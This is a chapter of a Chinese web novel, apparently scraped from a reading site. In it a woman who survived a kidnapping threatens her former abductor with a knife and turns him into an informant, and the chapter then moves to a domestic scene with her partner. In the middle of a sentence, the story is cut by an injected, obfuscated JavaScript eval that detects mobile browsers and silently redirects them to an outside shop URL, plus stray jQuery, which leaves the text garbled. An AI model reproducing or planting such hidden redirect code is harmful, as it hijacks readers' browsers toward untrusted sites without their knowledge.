一个月后,宿霐。
王杰被绑在一个小黑屋里的凳子上,周围是伸手不见五指的黑,厚重得让人窒息,好像有无数厉鬼藏在空气里。
他不知道自己被绑了多久,黑暗让他感觉不到时间的流速,他依稀记得自己睡了一觉,或者两觉,不知道长短,也说不上一共睡了多久。他只是感到很口渴很口渴,也很饿很饿。
他舔了一下嘴唇。饿得可以吃掉一只厉鬼,最好能挑一只解渴的水鬼吃。
门“吱”呀一声打开,头顶的灯啪一下亮了。
突然亮起的灯光,刺得他睁不开眼睛,让他觉得自己就像一只阴沟里的老鼠。视线模糊,他眯起眼,勉强看着面前的这个年轻女人。
不是警察。
“知道我是谁吗?”
王杰眯起眼睛。
这不是上个月还是多久之前,老大在KTV调戏的那个美女吗?他那天可是什么也没做啊,他不能因为这点儿事儿被抓吧,警察呢?他冤啊!
她身后站着一个年轻男人,王杰看了一眼。
莫双玦?
莫家随便一条狗都比他金贵,更何况是莫双玦。他老大丁合在他面前提鞋都不配,他王杰算个什么东西,能惊动莫家人,还是莫家这一代的继承人这一。他怎么会在?
“想不起来吗?”年轻女人说,“记性这么差。”
王杰嗫嚅着:“是那天……”
“再想想,不是那天。”
王杰开始冒冷汗。面前这个女人除了极其美丽,还有些说不清的熟悉感。可这么漂亮的女人,他不该见过却不记得才对。
她是谁?到底是谁?快想起来啊!!
“真不记得了?”她挑眉,一脸失望,“你又没被蒙着眼,也没被封住口,身上没穿着浸透血的校服,你为什么不记得我?”
冷汗刷一下浸透了王杰的背。他知道了,这是那个他之前绑架的初中生。
王杰下意识想说他当时不想要她的命,还想说他故意捅歪了点儿,想让她活着。可他不知道该如何说。不会有人相信他的,她被他捅了两刀差点儿死,她怎么可能会信他?
她一定想要他的命。
“你……变化很大。”王杰的嘴唇止不住地颤抖。
“将死之人和活人相比,确实差别挺大。”她说。
她从旁边靠墙的桌子上,拿起一把尖刃锃亮的手刀,缓步走到王杰面前,用冰凉的刀刃抵着他的脸。刀尖从他的脸,滑到了他的眼尾:“警察把你抓来,你应该知道你的下场吧,除了我的指认,现场还留有别的证据,你跑不掉的。”
王杰心里自然清楚,他只要落在警方手里,就半只脚踏进鬼门关,他的命早就在倒计时了。
“如果让丁合知道你现在在哪儿,就会被当成一颗弃子,我想你心中应该也清楚。”
王杰上下牙打颤,他不敢点头。
“我知道你不会供出丁合的,因为你妈妈病重,还需要丁合养着。而且,我还知道,丁合背后还有人,他也不是主谋,让他绑架我的,另有其人,帮你们逃脱的也是他,我说得对吗?”
王杰紧张地吞咽口水:“我,我不知道。”
他真的不知道,他这种小喽啰,接触不到那么核心的信息,那会儿他刚从学校辍学出来跟着丁合干,他就是个干活的。即便是现在,他也没有很受信任,他只是算是丁合身边一条还能用得上的狗。
“如果你死了,你病重的妈妈会怎么样,你心中有数。你比我清楚丁合是什么人。”
王杰瞪着眼。
银阙动了动手里的刀柄,刀尖几毫米悬在他眼珠前,手稍微一抖,就会刺入他的眼睛。王杰一眨不眨地吞咽着口水,大气不敢出。
“怕我手抖吗?”
“怕。”
银阙将刀刃从他眼前挪开,踱步到他的身后,手起刀落,割开了绑他手的绳索。
“我不是来杀你的。”
王杰揉着手腕,畏缩地看着她。虽然他被松了绑,但他并不敢逃,他打不过莫双玦,也不知道外面有没有警察。
银阙说:“王杰,虽然你绑架了我,但我认为你不是个十恶不赦的坏人,”
王杰抹了下一额头的冷汗,木然点头。他不知道她为什么这么想,但他大松口气。
“你现在只有一条路,王杰,当做什么都没有发生,继续给丁合干活,然后好好活着。”她顿了顿,“但你得赢得陈警官和我信任,你应该懂我的意思……”
王杰知道她的意思是要她给她当间谍。
他并不敢,但他没有别的选择。两边他都不能得罪。他落到警方手里,他会被当成弃子,他和他妈妈会死,但他如果被丁合抓到给警方当奸细,他也会是同样的下场。
可是他此刻只能点头,他别无选择。
饥肠辘辘的肚子在这时不合时宜地叫了一声。
“先去吃饭吧。我带你出去。“银阙瞥了一眼他。
王杰讷讷地跟在银阙后面往外走,突然一只手有力地按在他肩上。
王杰回头,看到是莫双玦。
“我很讨厌你。”莫双玦直直看着王杰的眼睛,“但谢谢你给她留条生路。我也会给你留条生路。你母亲的事可以放心,我会帮你解决。”
莫双玦钳着他的肩,握得王杰肩胛生疼,但他的力度却让王杰心安。
他知道丁合在莫双玦面前连条狗都不如。只要莫双玦留他的命,他会活着。他妈妈也会好好的,他没有道理不倒戈。
*
泽安的一家购物商场,银阙穿着朴素低调的卫衣套装,进了一间价格不菲的服装店。她对微笑迎上来的导购说:
“帮我拿三件Polo,身高大概一八二,体重在……七十……”
银阙对男人的体重估计不准,她环顾店里,找了个胖瘦相近的,说:“这样的体型。”
“适合多大年龄穿?”
“五十多岁的中年男人。”她想了想,“另外两件也是一样的尺码,顺便帮我分开开单据。你们所有的连锁店,都可以换尺码的,对吧?”
“对的。”
“那就好,帮我分开三个袋子装起来吧。”
从商场出来,银阙戴着口罩,拎着三个男装袋子回到文河社区。
这次回国,银阙依旧选择住在泽安银阙原来住的文河社区的老房子里。
社区老旧,破败的建筑被市井气挤满。因为周遭闹哄脏乱,鲜少有朝气蓬勃的年轻人愿意住在这里。双玦在泽安房产众多,也曾和银阙提议搬去更安全舒适的地方。
但银阙还是执意住在这里。
她要用棋牌室的吵闹提醒自己,什么才是当前的正事。她怕她和双玦住在别处,就会控制不住地想沉溺在他的男色中。她不能这样,她要亲眼看着那个棋牌室彻底倒下。
银阙打开房门,回身将鱼龙混杂关在房门外面,屋内独有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17776849|206248||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一个世界。
餐桌上已经放了不少香喷喷的饭菜。
厨房里的双玦把火关了,拿着铲子从厨房走出来,他戴着围裙,倚着门框,一副高大媳妇的样子:“怎么才回来。”
“买了点儿东西。”银阙把三个袋子放在沙发前的茶几上,“让我看看你的手艺。”
“男装啊,让我看看你买了什么?”
双玦一边解开围裙,一边面上带笑去看茶几上的袋子。
银阙走到餐桌前,拿筷子尝了一口:“太咸了,以后还是让保姆做吧,大少爷。”
双玦毫不介意,他只看着袋子里的衣服:“怎么是这么老气的款式,嫌我年轻?还三件一样。”
银阙瞥了一眼自作多情的某位:“不是给你的。”
双玦的笑容满面的脸一下子垮了:“给别的男人买的衣服,你敢拎进家门?银律师,你知不知道,你违法了。”
银阙瞥他一眼:“违什么法?婚姻法?”
“家法。”他捏她的脸,“我不吃醋吗?”
“给我妈的几个朋友买的,叔叔辈的,我替我妈去见一下他们。”
“咱妈的旧友?”双玦问。
他的语气并非寻常平淡,有些八卦意味在里面。银阙点头“嗯”了一声。
双玦猜得不错,三个人,除了花丘以外,另外两个都是妈妈以前的蓝颜。
“我认识吗?”
“不知道,应该不认识,没来过我家。我妈不会把男人带家里来的。”
“也是。你是代咱妈去看看叔叔们的?”
“我下午会去和一个叔叔谈合作。那个叔叔有个英语培训和留学移民公司,做得很不错,现在是我们律所的合作伙伴。下月那个展会,他们也会参加,就在你定的那个展位对面。”
银阙说的这个展会,是个留学移民与海外投资置业的展览会,在泽安世贸中心举办,双玦的一个投资公司要去参加。
留学移民的展会对他而言用处不大,他之所以会安排人参展,是因为银阙之前对这个展会很感兴趣。
去年初,在这场留学移民展览会开始招商不久,银阙突然向双玦问起这个展览会的情况,让他帮忙打听。
举办这个展览会的世贸中心,属于双玦的资产群,是由他父亲留给他的升迁地产开发投资公司下属的一个物管公司运营管理的。
老婆问的事儿,双玦岂不尽心尽力?
双玦二话不说,立刻找人要来了招商计划及floorplan(展位平面图)。为了掩人耳目,他让人给自己的一个投资公司定了个展位。
得知双总的公司要来参展,招商负责人亲自将各种展会相关的信息喂到双玦嘴边,而这些信息,双玦都转手给了银阙。
如今听说银阙下午要见的叔叔也是展商之一,双玦就知道这个展会对银阙来说应该很重要。
但双玦没有多问。
银阙如今做的很多事,都是在瞄准丁家,比如接近思灵,策反刘杰,都是为了配合警方将丁家绳之以法。虽然他看不出这个展会和丁家的关系,但一定在她的计划里。
银阙这几年在做什么事并不都告诉他,只有用到他的时候,才会来找他。
双玦没有多问过。
他不是不想,而是觉得他要给银阙留一些边界。她当年的事情,虽然是丁家做的,但背后却是莫家在为丁家撑腰。有些东西,他的这个位置,也许不方便知道。